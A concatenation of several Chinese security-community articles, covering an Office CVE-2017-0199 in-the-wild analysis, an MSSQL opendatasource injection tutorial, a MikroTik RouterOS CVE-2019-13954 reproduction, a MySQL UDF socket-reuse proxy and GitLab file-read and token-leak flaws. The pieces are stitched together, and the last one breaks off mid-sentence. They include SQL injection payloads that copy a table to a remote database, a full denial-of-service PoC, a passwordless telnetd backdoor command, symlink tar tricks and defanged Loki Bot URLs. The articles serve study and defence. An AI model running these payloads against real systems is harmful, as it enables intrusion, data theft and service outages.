由于还没有针对性的设置，所以在现在的版本中，如果没有设置nonce，享受的是和其他用户相同的评论过滤，也就从另一个角度修复了这个漏洞:>
### 写在最后
当我们一起分析完整个漏洞之后呢，不难发现RIPS为了pr不惜吹了个大牛，其实当我们把整个漏洞重新压缩之后，我们发现其实漏洞就相当于其他CMS爆了一个存储型XSS漏洞一样，之所以会有这样的利用链，反而是因为WordPress对其本身错误的安全认知导致的。
在WordPress的安全认知中，Nonce机制的确是一个效果非常好的安全机制，但从一个安全从业者的观点来说，WordPress的超级管理员应不应该等同于服务器管理员仍然是一个需要考虑的问题，在安全的世界里来说，给每个用户他们应有的权限才是最安全的做法，不是吗？
* * * | 社区文章 |
# 【漏洞分析】Office高级威胁漏洞在野利用分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**0x00 背景介绍**
****
在高级威胁攻击中，黑客远程投递入侵客户端最喜欢的漏洞是office文档漏洞，就在刚刚结束的黑帽子大会上，最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞，这个漏洞是时下office漏洞领域最热门的安全漏洞，最佳客户端安全漏洞这个荣誉归于Ryan
Hanson、Haifei li、Bing Sun以及未知的黑客。
CVE-2017-0199是Office系列办公软件中的一个逻辑漏洞，和常规的内存破坏型漏洞不同，这类漏洞无需复杂的利用手法，直接就可以在office文档中运行任意的恶意脚本，使用起来稳定可靠。微软在今年4月安全更新中对CVE-2017-0199漏洞进行了修复，但安全补丁的修复及防御仍然可以绕过，在7月微软的安全更新中又修复了同样类型的新漏洞CVE-2017-8570。在Syscan360
2017西雅图安全会议上，Haifei li和Bing Sun的议题《Moniker魔法：直接在Microsoft
Office中运行脚本》详细解析了这类漏洞的原理，本文就不再赘述，下面开始着重分析这些漏洞的在野利用情况。
**0x01 漏洞概述**
****
CVE-2017-0199和CVE-2017-8570是Office系列办公软件中的逻辑漏洞，和常规的内存破坏型漏洞不同，这类漏洞无需复杂的利用手法，直接就可以在office文档中运行任意的恶意脚本，使用起来稳定可靠。
CVE-2017-0199漏洞利用OFFICE OLE对象链接技术，将包裹的恶意链接对象嵌在文档中，OFFICE调用URL
Moniker（COM对象）将恶意链接指向的HTA文件下载到本地， URL Moniker通过识别响应头中content-type的字段信息最后调用mshta.exe将下载到的HTA文件执行起来，同时还存在Script
Moniker的利用方式，攻击者使用PowerPoint播放动画期间会激活该对象，从而执行sct脚本（Windows Script
Component）文件。
CVE-2017-8570漏洞是利用复合Moniker绕过了CVE-2017-0199的补丁针对Script Moniker和URL
Moniker相关classid的拦截，目前野外暂未发现攻击样本。
**0x02 漏洞攻击面影响**
****
**CVE-2017-0199** ****
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)
Windows 7 for 32-bit Systems Service Pack 1
Windows 7 for x64-based Systems Service Pack 1
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core
installation)
Windows Server 2008 for Itanium-Based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core
installation)
Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core
installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Vista Service Pack 2
Windows Vista x64 Edition Service Pack 2
**CVE-2017-8570**
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)
**0x03 漏洞详情**
**野外利用的第一个RTF版本**
CVE-2017-0199漏洞在第一次被公开时，野外最早利用的样本是以word文档的形成进行传播利用，由于office文档后缀关联的宽松解析特性，更改其他文档后缀名，攻击仍然可以成功，所以野外利用的大部分恶意文档的真实文件格式是RTF格式，但恶意文档的后缀名却是
doc
、docx等后缀，该攻击具有较强的伪装欺骗特性。在野外利用样本文件格式中有一个关键字段objupdate，这个字段的作用是自动更新对象，当受害者打开office文档时就会加载远程URL的对象，对远程服务器触发一个HTTP请求，恶意服务器会对针对客户端的http请求强制返回Content-type为application/hta响应，最终客户端office进程会将远程的文件下载当作hta脚本运行，整个攻击过程稳定且不需要受害者的任何交互操作。
**野外利用的第二个PPSX版本**
****
由于RTF版本的漏洞利用大量使用，各家安全软件检出率也都比较高，攻击者开始转向另外一种office文档格式进行攻击，攻击者发现ppsx格式的幻灯片文档也可以无交互触发漏洞，该利用方式的原理是利用幻灯片的动画事件，当幻灯片的一些预定义事件触发时可以自动触发导致漏洞利用。
如下图，一个流行的攻击样本中嵌入的恶意动画事件：
事件会关联一个olelink对象，原理类似rtf版本，如下xml中的字段。
但对象会嵌入的是一个带有script协议头的远程地址，而url地址中的XML文件是一个恶意sct脚本。
当受害者打开恶意幻灯片文档时就会自动加载远程URL的对象，对远程服务器发起一个HTTP请求将文件下载到本地，最终客户端office进程会将下载到本地的文件当作sct脚本执行。
**最新流行的第三个DOCX版本**
****
近期我们发现有部分真实文件格式是Docx格式的文档加入了CVE-2017-0199的漏洞利用，攻击者非常巧妙的将CVE-2017-0199漏洞的RTF文件作为一个源嵌入到了Docx格式的文档中，这样导致docx文件在打开时是自动去远程获取包含0199漏洞的rtf文件，再触发后面的一连串攻击行为，这样的攻击增加了安全软件的查杀难度，一些杀毒软件毫无察觉！
如下图，我们会发现docx格式的文档嵌入了一个远程的文档对象：
打开文档后会自动打开远程的恶意RTF文件！
我们可以看到在野利用的RTF样本在VT上的检出率为31/59。
而最新流行的DOCX版本的检出率仅为5/59。
**最新发现的“乌龙”样本**
****
上周我们在外界发现了多例标注为CVE-2017-8570的office幻灯片文档恶意样本，同时有安全厂商宣称第一时间捕获了最新的office漏洞，但经过分析我们发现该样本仍然是CVE-2017-0199漏洞野外利用的第二个PPSX版本，通过对一例典型样本进行分析，我们发现样本使用的payload是Loki
Bot窃密类型的木马病毒，是一起有针对性的窃密攻击。
该样本使用powershell下载执行shell.exe
下载地址为hxxp://192.166.218.230:3550/ratman.exe
Shell.exe 是一个混淆的.NET程序
Shell.exe会内存解密执行Loki Bot功能，这时Loki Bot木马会窃取各种软件的信息。
如,窃取Firefox信息
窃取chrome 360Browser等浏览器信息
窃取各类FTP软件的信息
最后提交窃取的相关数据到远程服务器
hxxp://www.allstroyka.eleko.by/libraries/domit/dub/fre.php
**0x04 修复建议**
****
目前流行的office高级威胁漏洞趋向于稳定的逻辑漏洞，CVE-2017-0199仍然是主流利用漏洞类型，该漏洞会针对不同文档格式利用有不同变种，同时新的CVE-2017-8570漏洞也在蠢蠢欲动。面对恶意文档攻击，广大用户需要提高安全意识，不要轻易打开不明来路的office文档，同时针对如下流行的office办公软件，使用360安全卫士安装最新的安全补丁，修复CVE-2017-0199和CVE-2017-8570漏洞。
**0x05 时间线**
****
**0x06 参考文档**
****
<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8570>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199> | 社区文章 |
今天分享一个MSSQL数据的反弹注入获取数据库数据到本地，这技术分享适合才开始学习sql注入的小白（大佬绕过）。
既然要反弹注入我们需要有一个反弹的MSSQL数据库对象，这里我使用香港云的虚拟主机
使用URL：<http://www.webweb.com>
这里我们去创建一个表用来接收反弹过来的数据信息,其中的字段个数需要我们反弹时候去猜，但这里我们是用的靶场环境已经知道有多少字段所以我在这里就直接创建就可以了。
好了环境准备好后我们开始打开靶场进行反弹注入
使用常见的判断注入手法
and 1=2
order by
union all
等手法这里我通过测试和注入构建好了我们的注入语句
<http://x.x.x.x/?id=2>' and 1=2 union all select null,null,null 20from admin
--
看到字段以后我们把admin 表换成dbo.sysobjects where xtype='U' （这库记录了所有对的表，而等于U是查找用户自建表）
有一点点变化，但是没有数据出来，因为我们上面的空值还存在，给出我们要显示的值试试。
<http://x.x.x.x/MSSQL/?id=2>' and 1=2 union all select id,null,null from
dbo.sysobjects where xtype='U' --
到这里我们已经证明了数据库是存在注入的那么我们现在就可以开始进行反弹注入了，在反弹注入中我们要想了解MSSQL的一个函数opendatasource
这是MSSQL的夸库查询我们要反弹注入必须的确保这个函数是开启的
我们开始构建语句
;insert into
opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14B3169_lddf_admin;pwd=1232345;database=DB_14B3169_lddf').DB_14B3169_lddf.dbo.a
select * from admin --
;代表上一个语句的结束我们新启用另一个语句
insert into 把我们查询的内容写入到我们的数据库中
OPENDATASOURCE(provider_name,init_string) 分别代表我的数据库名，连接地址，用户，密码，端口
.DB_14B3169_lddf.dbo.a 代表我们连接的哪个库中的哪个表
这个语句翻译过来就是我结束上一个语句并新启一个语句，把我们当前查询到的admin表的数据写入到我们远程的数据库中去
我们接下来去我们的主机上看是否有反弹过来的数据
这边已经成功的接受到了我们反弹过来的数据信息。
这里mssql反弹注入就介绍到这里有什么疑惑和问题欢迎大家留言。 | 社区文章 |
# MikroTik RouterOS-CVE-2019-13954漏洞复现
## 产品描述：
**MikroTik RouterOS**
是一种路由操作系统，并通过该软件将标准的PC电脑变成专业路由器，软件经历了多次更新和改进，其功能在不断增强和完善。特别在无线、认证、策略路由、带宽控制和防火墙过滤等功能上有着非常突出的表现，其极高的性价比，受到许多网络人士的青睐。RouterOS具备现有路由系统的大部分功能，能针对网吧、企业、小型ISP接入商、社区等网络设备的接入，基于标准的x86构架。
## 漏洞利用分析：
### 漏洞描述
`CVE-2019-13954`是`MikroTik RouterOS`中存在的一个`memory
exhaustion`漏洞。认证的用户通过构造并发送一个特殊的`POST`请求，服务程序在处理`POST`请求时会陷入”死”循环，造成`memory
exhaustion`，导致对应的服务程序崩溃或者系统重启。
### 漏洞原理
根据漏洞公告中提到的`"/jsproxy/upload"`，在`6.42.11`版本中：
int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
//...
while ( 1 )
{
sub_51F7(v37, &s1); //读取POST请求
if ( !s1 )
break;
v14 = -1;
v15 = &s1;
do
{
if ( !v14 )
break;
v16 = *v15++ == 0;
--v14;
}
while ( !v16 );
if ( v14 != 0x100u ) //数据长度限制
{
v36 = 0;
string::string((string *)&v46, &s1);
v17 = Headers::parseHeaderLine((Headers *)&v47, (const string *)&v46);
string::freeptr((string *)&v46);
if ( v17 )
continue;
}
string::string((string *)&v46, "");
Response::sendError(a4, 400, (const string *)&v46);
string::freeptr((string *)&v46);
LABEL_60:
tree_base::clear(v19, v18, &v47, map_node_destr<string,HeaderField>);
goto LABEL_61;
}
//...
}
相较于之前版本6.40.5，增加了对读取的POST请求数据长度的判断：当长度超过`0x100`(包括最后的`'\x00'`)时，会跳出while循环。
6.40.5版本：
int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
// ...
while ( 1 )
{
sub_77464E9F(v27, (char *)s1); // 读取POST请求数据
if ( !LOBYTE(s1[0]) )
break;
string::string((string *)&v36, (const char *)s1);
v11 = Headers::parseHeaderLine((Headers *)&v37, (const string *)&v36);
string::freeptr((string *)&v36);
if ( !v11 )
{
string::string((string *)&v36, "");
Response::sendError(a4, 400, (const string *)&v36);
string::freeptr((string *)&v36);
LABEL_56:
tree_base::clear(v13, v12, &v37, map_node_destr<string,HeaderField>);
goto LABEL_57;
}
}
// ...
}
看到`sub_51F7`函数：
char *__usercall sub_51F7@<eax>(istream *a1@<eax>, char *a2@<edx>)
{
const char *v2; // esi
char *result; // eax
unsigned int v4; // ecx
v2 = a2;
istream::getline(a1, a2, 0x100u, 10);
result = 0;
v4 = strlen(v2) + 1;
if ( v4 != 1 )
{
result = (char *)&v2[v4 - 2];
if ( *result == 13 )
*result = 0;
}
return result;
}
对于补丁前来讲，我们要让程序一直循环有两个条件
* 调用`sub_51F7`，未读取到数据
* 调用`Headers::parseHeaderLine()`，解析失败
其中第一个很好满足，只需要有输入即可。至于第二个条件hederline解析失败，从POC来看可以大概推断出，由于getline没有接到换行，会认为io失败，输入流关闭，此时调用相当于直接返回。而headerline解析由于没有接收到换行就会一直解析导致循环不能退出。
而在补丁后增加了对字符长度的判断，察觉到输入大于0x100字节就会直接退出循环。
正常getline是以回车,`\0`截止。
* 遇到`\0`直接截止。
* 遇到回车截止然后把回车替换成`\0`
因此代码是以读到`\0`来判断数组长度，若在读到`\0`之前大于了0x100个字节，就直接退出循环了。因此我们可以直接在payload里加入`\0`，就能绕过这个判断。
但是问题来了，如果我们在payload里加入了`\0`，getline直接截止了，我们就不能让数组长度大于0x100，那么最基础的触发条件都没了。
不过输入多个`\0`会让getline识别成`\\`字符。那这样就不存在截止的问题了，而且可以绕过补丁判断，同时数组大小大于0x100。
因此，只需要在`filename`参数后面追加大量的`'\x00'`，即可绕过补丁，再次触发该漏洞。
### POC
#include <cstdlib>
#include <iostream>
#include <boost/cstdint.hpp>
#include <boost/program_options.hpp>
#include "jsproxy_session.hpp"
#include "winbox_message.hpp"
namespace
{
const char s_version[] = "CVE-2019-13954 PoC 1.1.0";
bool parseCommandLine(int p_argCount, const char* p_argArray[],
std::string& p_username, std::string& p_password,
std::string& p_ip, std::string& p_port)
{
boost::program_options::options_description description("options");
description.add_options()
("help,h", "A list of command line options")
("version,v", "Display version information")
("username,u", boost::program_options::value<std::string>(), "The user to log in as")
("password", boost::program_options::value<std::string>(), "The password to log in with")
("port,p", boost::program_options::value<std::string>()->default_value("80"), "The HTTP port to connect to")
("ip,i", boost::program_options::value<std::string>(), "The IPv4 address to connect to");
boost::program_options::variables_map argv_map;
try
{
boost::program_options::store(
boost::program_options::parse_command_line(
p_argCount, p_argArray, description), argv_map);
}
catch (const std::exception& e)
{
std::cerr << e.what() << "\n" << std::endl;
std::cerr << description << std::endl;
return false;
}
boost::program_options::notify(argv_map);
if (argv_map.empty() || argv_map.count("help"))
{
std::cerr << description << std::endl;
return false;
}
if (argv_map.count("version"))
{
std::cerr << "Version: " << ::s_version << std::endl;
return false;
}
if (argv_map.count("username") && argv_map.count("ip") &
argv_map.count("port"))
{
p_username.assign(argv_map["username"].as<std::string>());
p_ip.assign(argv_map["ip"].as<std::string>());
p_port.assign(argv_map["port"].as<std::string>());
if (argv_map.count("password"))
{
p_password.assign(argv_map["password"].as<std::string>());
}
else
{
p_password.assign("");
}
return true;
}
else
{
std::cerr << description << std::endl;
}
return false;
}
}
int main(int p_argc, const char** p_argv)
{
std::string username;
std::string password;
std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, username, password, ip, port))
{
return EXIT_FAILURE;
}
JSProxySession jsSession(ip, port);
if (!jsSession.connect())
{
std::cerr << "Failed to connect to the remote host" << std::endl;
return EXIT_FAILURE;
}
// generate the session key but don't log in
if (!jsSession.negotiateEncryption(username, password, false))
{
std::cerr << "Encryption negotiation failed." << std::endl;
return EXIT_FAILURE;
}
std::string filename;
for (int i = 0; i < 0x50; i++)
{
filename.push_back('A');
}
for (int i = 0; i < 0x100; i++)
{
filename.push_back('\x00');
}
if (jsSession.uploadFile(filename, "lol."))
{
std::cout << "success!" << std::endl;
}
return EXIT_SUCCESS;
}
## 环境搭建&漏洞复现：
### RouterOS环境搭建
CVE-2019-13954可在系统版本6.42.11验证
MikroTik RouterOS镜像下载地址：<https://mikrotik.com/download>
利用VMware虚拟机安装镜像，按a，选择所有，然后i安装，后续都默认y就行
安装成功后进入登陆页面，用户名是admin，密码为空
虚拟机修改为NAT模式，和ubuntu在同一子网下
虚拟机获取ip
ip dhcp-client add interface=ether disabled=no
查看虚拟机获取的ip
ip dhcp-client print detail
### 获取完整shell
#### 文件下载
搭建起仿真环境后，由于`RouterOS`自带的命令行界面比较受限，只能执行特定的命令，不便于后续进一步的分析和调试，因此还需要想办法获取设备的`root
shell`。
我们需要下载busybox（用于开root后门）、gdbserver.i686（远程调试）
busybox：`wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox`
除了busybox，我们还可以通过<https://github.com/tenable/routeros下的`cleaner_wrasse`利用漏洞开启后门>
gdbserver.i686下载地址：<https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.i686>
#### 硬盘挂载
这里我们使用ubuntu挂载routeros的磁盘，在ubuntu的虚拟机设置中添加routeros的硬盘，此时需要将routeros关机。
挂载完成后，使用命令行访问挂载磁盘，将busybox和gdbserver复制到`/rw/disk`并赋予权限777
在/rw目录下编写一个DEFCONF脚本，用来使RouterOS开机运行后门，RouterOS每次开机都会运行DEFCONF这个文件，但是重启之后会失效。我们可以在设置完成后开启快照。
ok; /rw/disk/busybox-i686 telnetd -l /bin/bash -p 1270;
此时，我们可以不通过用户名和密码就在ubuntu中直接telnet远程登陆RouterOS了
telnet ip port
### 漏洞文件获取
在通过后门登陆后，查看www和jsproxy.p所在的位置
find / -name www
find / -name jsproxy.p
这里可以通过工具[Chimay-Red](https://github.com/BigNerd95/Chimay-Red)从官网上提取6.42.11版本的www、jsproxy.p
./tools/getROSbin.py 6.42.11 x86 /nova/bin/www www_binary_1
./tools/getROSbin.py 6.42.11 x86 /nova/lib/www/jsproxy.p www_binary_2
编译生成POC
下载地址：<https://github.com/tenable/routeros>
依赖环境:
* Boost 1.66 or higher
* cmake
安装Boost：
Ubuntu：
sudo apt-get install libboost-dev
需要提醒的是gcc版本需要高于6，否则会导致编译失败
编译生成`cve_2019_13954`的poc
cd cve_2019_13954
mkdir build
cd build
cmake ..
make
编译成功后即可使用，使用方式
这里我们使用：
./cve_2019_13954_poc -i 192.168.111.17 -u admin
### 漏洞验证
与该漏洞相关的程序为`www`，在设备上利用`gdbserver`附加到该进程进行远程调试，然后运行对应的`PoC`脚本，发现系统直接重启。
在调试验证的过程中注意Linux默认开启了ASLR保护机制( **操作系统用来抵御缓冲区溢出攻击** 的内存保护机制)，为了方便找地址，关掉ASLR
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
通过后门busybox登陆routeros，查看www的进程pid后，开启gdbserver附加www：
./gdbserver.i686 localhost:1234 --attach 267
此时在ubuntu上开启gdb，准备调试，设置架构为i386，目标主机为192.168.0.113，端口为1234
gdb
set architecture i386
target remote 192.168.111.17:1234
同时本地运行POC，`info proc mappings`查看当前已经加载的模块，可以看到jsproxy已经加载进来了
./cve_2019_13954_poc -i 192.168.111.17 -u admin
在ida中找到要断点的函数的偏移地址，从doUpload函数断点，偏移量为8D08
那么我们将mappings中jsproxy的基地址加上偏移地址就ok了，对其断点
b *0x774f9000+0x8D08
c一下发现系统直接重启了
参考资源：
<https://cq674350529.github.io/2019/08/15/CVE-2018-1158-MikroTik-RouterOS%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E5%8F%91%E7%8E%B0CVE-2019-13955/>
<https://www.anquanke.com/post/id/254635#h3-8>
<https://github.com/BigNerd95/Chimay-Red>
<https://github.com/tenable/routeros>
<https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1>
<https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6>
<https://github.com/cq674350529/pocs_slides/tree/master/advisory/MikroTik>
<https://raw.githubusercontent.com/tenable/routeros/master/slides/bug_hunting_in_routeros_derbycon_2018.pdf> | 社区文章 |
最近看到TX的一篇[红蓝对抗的文章](https://mp.weixin.qq.com/s/OGiDm3IHBP3_g0AOIHGCKA)，其中提到了Mssql代理，遂联想到Mysql应该也是一样的原理。于是网上一顿乱搜，不过只找到一篇[老外的博客](https://x-c3ll.github.io/posts/Pivoting-MySQL-Proxy/)，下面就来大概讲讲具体的利用。
### 0x00 使用场景
在渗透测试中，由于防火墙的原因，目标主机可能只开放了某一个业务端口，其余反连和直连的端口被全部禁用了，借用[mssqlproxy](https://github.com/blackarrowsec/mssqlproxy)的一个图，很好的呈现了这种场景。
这个时候我们虽然可以利用UDF执行命令，但是十分不方便，于是就有了下面的说法。
### 0x01 原理
关键原理就是UDF和Socket Reuse。Mysql UDF各位师傅应该都很熟悉，这里就不详细讲了；而Socket
Reuse，虽然我是第一次听说，但其实很早就有相关的概念了：
> Socket-reuse shellcode is used to bypass firewalls. Usually, shellcode and
> exploit developers and users provide "bindshell" and "connect-back"
> shellcodes. Both of these require a permissive firewall to some extent or
> another. However, because sockets are treated as re-usable or dynamic file
> descriptors by most operating systems, it is possible to examine existing
> socket connections, therefore one can simply bind a shell to the socket that
> the exploit shellcode came from.
具体可以看下[这篇文章](https://nets.ec/Shellcode/Socket-reuse)
### 0x02 踩坑过程
一开始想着跑跑代码能用就行了，毕竟也不是很难的技术，原理也比较简单，但我就是自带用不了别人poc的属性，死活跑不起来，没办法，只能自己调代码了。
来看下关键代码逻辑，先看攻击端，首先连接Mysql数据库，然后进入proxy_init函数，传参是3，其实就是我们连接数据库的那个socket的fd，012是标准输入输出那些
执行已经加载好的UDF函数，并读取服务端返回的一个特定字符串，确定服务端代码已经执行，跳出循环，`select_fd[0]`即数据库链接fd
在本地监听任意可用的端口，这里用了`1337`,`select_fd[1]`是我们用`proxychains`连接时产生的fd
后面就是上面提到的这两个fd循环读取和写数据了。
感觉没什么问题，因为客户端的代码是可以跑起来的，也能成功执行服务端的函数，执行`proxychains ssh
[email protected]`，抓个包验证一下(不熟悉socks5的师傅可以看看[这个](https://segmentfault.com/a/1190000020174099))，客户端先发送了`05
01 00`，`05`是版本号，`01`是支持的认证方式总数，后面就是认证方式，`00`即`NOAUTH`
服务端返回`05 00`，同样`05`是版本号，`00`是服务端选择的认证方式
至此认证是已经完成了的，然后就是客户端发送命令`05 01 00 01 7f 00 00 01 00 16`，各字节含义如下：
* `05` 版本号
* `01` CONNECT命令
* `00` 保留字段
* `01` 地址类型为IPv4
* `7f 00 00 01` IP地址127.0.0.1
* `00 16` 端口号22
发现服务端一直没有`PSH ACK`的回应，于是客户端发了FIN结束连接，所以问题在服务端
客户端执行`select
do_carracha('a');`之后，服务端用getpeername遍历所有fd，通过ip匹配上我们的连接，并fork出一个子进程，执行payload
最终子进程执行了worker函数，fd就是客户端的数据库连接，红框中的socks5_invitation和socks5_auth分别对应了客户端发的`05
01 00`和服务端发的`05 00`
所以为什么socks5_command这里出了问题？原来的代码读了`05 01 00 01 7f 00 00 01 00 16`的前4个字节
然后判断第4个字节是否`01`，但是判断socks命令类型不应该是判断第2个字节吗......虽然结果是一样的，这里就假设是对的
所以应该是服务端读的问题了，于是尝试了好多种方式打印command，但是写文件不知道为什么写不了，用gethostbyname发到dnslog也发不出去，system也执行不了命令，可能是权限的原因？不过也没有深究了，因为虽然写不了文件，但是文件是可以创建的，把command拼到文件名即可。
最后发现是command前面多了一个`00`......所以是socks5_invitation这里读少了一个字节，擦，那作者是怎么跑成功的......
所以就把上面那里读少的字节读完，就可以跑了，启动代理
成功连接
### 0x03 Reference
* [https://mp.weixin.qq.com/s/OGiDm3IHBP3_g0AOIHGCKA]()
* [https://x-c3ll.github.io/posts/Pivoting-MySQL-Proxy/]()
* [https://github.com/blackarrowsec/mssqlproxy]()
* [https://segmentfault.com/a/1190000020174099]()
* [https://nets.ec/Shellcode/Socket-reuse]() | 社区文章 |
**Author:dawu,LG(知道创宇404安全实验室)**
**Data:2016-10-09**
## 0x00 漏洞概述
### 1.漏洞简介
[GitLab](https://about.gitlab.com/) 是一个利用Ruby on
Rails开发的开源应用程序，实现一个自托管的Git项目仓库，可通过Web界面进行访问公开的或者私人项目。近日研究者发现在其多个版本中存在[文件读取漏洞(CVE-2016-9086)](https://hackerone.com/reports/178152)
和
[任意用户authentication_token泄漏漏洞](https://hackerone.com/reports/158330)，攻击者可以通过这两个漏洞来获取管理员的权限，进而控制所有gitlab项目。
### 2.漏洞影响
#### 任意文件读取漏洞(CVE-2016-9086):
GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12, and 8.13
#### 任意用户authentication_token泄露漏洞：
Gitlab CE/EE versions 8.10.3-8.10.5
## 0x01 漏洞复现
### 1.环境搭建
sudo apt-get install curl openssh-server ca-certificates postfix
curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bash
sudo apt-get install gitlab-ce=8.10.3-ce.1 #版本为8.10.3是为了第二个任意用户authentication_token泄露导致
漏洞的复现
sudo gitlab-ctl reconfigure
安装完成后访问服务器80端口即可看到`GitLab`登录页面.
注：`8.9.0-8.13.0`版本的`gitlab`的项目导入功能需要管理员开启，`8.13.0`版本之后所有用户都可以使用导入功能。管理员可以访问<http://domain/admin/application_settings>
开启，开启之后用任意用户新建项目的时候，可以在`import project from`一项中看到`gitlab export`。
## 2.漏洞分析
### 任意文件读取漏洞(CVE-2016-9086)
从`8.9.0`版本开始，`GitLab`新增了导入导出项目的功能。
一个空的`gitlab`项目导出后结构如下：
其中`VERSION`文件内容为GitLab的导出模块的版本，`project.json`则包含了项目的配置文件。
当我们导入GitLab的导出文件的时候，GitLab会按照如下步骤处理： 1.服务器根据`VERSION`文件内容检测导出文件版本，如果版本符合，则导入。
2.服务器根据`Project.json`文件创建一个新的项目，并将对应的项目文件拷贝到服务器上对应的位置。
检测`VERSION`文件的代码位于：`/lib/gitlab/import_export/version_checker.rb`中：
...
def check!
version = File.open(version_file, &:readline)
verify_version!(version)
rescue => e
shared.error(e)
false
end
...
def verify_version!(version)
if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")
else
true
end
end
...
我们可以看到这里的逻辑是读取`VERSION`文件的第一行赋值给变量`version`，然后检测`verison`与当前版本是否相同，相同返回`true`，不相同则返回错误信息(错误信息中包括变量`version`的值).
于是漏洞发现者`Jobert Abma`巧妙的使用了软链接来达到读取任意文件的目的。首先，我们给`VERSION`文件加上软链接并重新打包。
ln -sf /etc/passwd VERSION
tar zcf change_version.tar.gz ./
这样，读取`VERSION`文件的时候服务器就会根据软链接读取到`/etc/passwd`的第一行内容并赋值给`version`。但是由于`version`与当前版本不相同，所以会输出`version`的值，也就是`/etc/passwd`第一行的内容。
访问之前搭建好的GitLab服务器，创建一个新的项目，填写完项目名称后在`Import project from`一栏中选择`GitLab
export`，上传我们修改后的导入包，然后就可以看到`/etc/passwd`文件第一行
**但是，如果只读取任意文件的第一行，能做的事情还是太少了。漏洞发现者显然不满足这一结果，他继续找了下去.**
读取`Project.json`这一配置文件的代码位于：`/lib/gitlab/import_export/project_tree_restorer.rb`中：
...
def restore
json = IO.read(@path)
tree_hash = ActiveSupport::JSON.decode(json)
project_members = tree_hash.delete('project_members')
ActiveRecord::Base.no_touching do
create_relations
end
rescue => e
shared.error(e)
false
end
...
在这里，我们可以再次使用软链接使变量`json`获取到任意文件的内容，但是由于获取的文件不是`json`格式，无法`decode`，导致异常抛出，最终在前端显示出任意文件的内容。
添加软链接并打包:
ln -sf /etc/passwd project.json
tar zcf change_version.tar.gz ./
上传导出包，页面上显示的结果：
### 任意用户authentication_token泄露漏洞
#### 复现步骤为：
1.注册一个普通用户，创建一个新的项目 2.在项目的`member`选项中，添加管理员到项目中。
3.点击`edit project`,找到`Export project`部分，点击`Export
project`，等待几分钟去查看注册邮箱收到的下载地址或者刷新页面，点击`Download export`下载导出包。
4.导出包的`project.json`中已经含有了管理员的`authentication_token`。
得到`authentication_token`之后我们就可以通过`api`做管理员可以做的事情了，比如查看管理员所在的项目：
#### 分析原因：
我们在`\app\controllers\projects_controller.rb`中找到了`export`函数，这个函数被用来导出项目文件。
def export
@project.add_export_job(current_user: current_user)
redirect_to(
edit_project_path(@project),
notice: "Project export started. A download link will be sent by email."
)
end
往下跟`add_export_job()`,在`\app\models\project.rb`中：
def add_export_job(current_user:)
job_id = ProjectExportWorker.perform_async(current_user.id, self.id)
if job_id
Rails.logger.info "Export job started for project ID #{self.id} with job ID #{job_id}"
else
Rails.logger.error "Export job failed to start for project ID #{self.id}"
end
end
继续到`\app\workers\project_export_worker.rb`文件的`ProjectExportWorker.perform_async()`:
class ProjectExportWorker
include Sidekiq::Worker
sidekiq_options queue: :gitlab_shell, retry: 3
def perform(current_user_id, project_id)
current_user = User.find(current_user_id)
project = Project.find(project_id)
::Projects::ImportExport::ExportService.new(project, current_user).execute
end
end
这里我们可以看到`current`获取的是`User.find(current_user_id)`的内容，然后调用`::Projects::ImportExport::ExportService.new(project,
current_user).execute` 由于笔者之前没有接触过ruby，这里只好采用`gitlab-rails
console`来找到`User.find()`的值。可以看到，在`User.find()`中,存在`authentication_token`的值。
跟到`\app\services\project\import_export\export_service.rb`，这里执行`version_saver,
avatar_saver, project_tree_saver, uploads_saver, repo_saver,
wiki_repo_saver`这五个函数来写各种导出文件，其中`project_tree_saver()`负责导出`project.json`
module Projects
module ImportExport
class ExportService < BaseService
def execute(_options = {})
@shared = Gitlab::ImportExport::Shared.new(relative_path: File.join(project.path_with_namespace, 'work'))
save_all
end
private
def save_all
if [version_saver, avatar_saver, project_tree_saver, uploads_saver, repo_saver, wiki_repo_saver].all?(&:save)
Gitlab::ImportExport::Saver.save(project: project, shared: @shared)
notify_success
else
cleanup_and_notify
end
end
def version_saver
...
end
end
end
跳过之后的几个繁琐的调用之后，执行了`lib/gitlab/import_export/json_hash_builder.rb`中的`create_model_value`函数。
# Constructs a new hash that will hold the configuration for that particular object
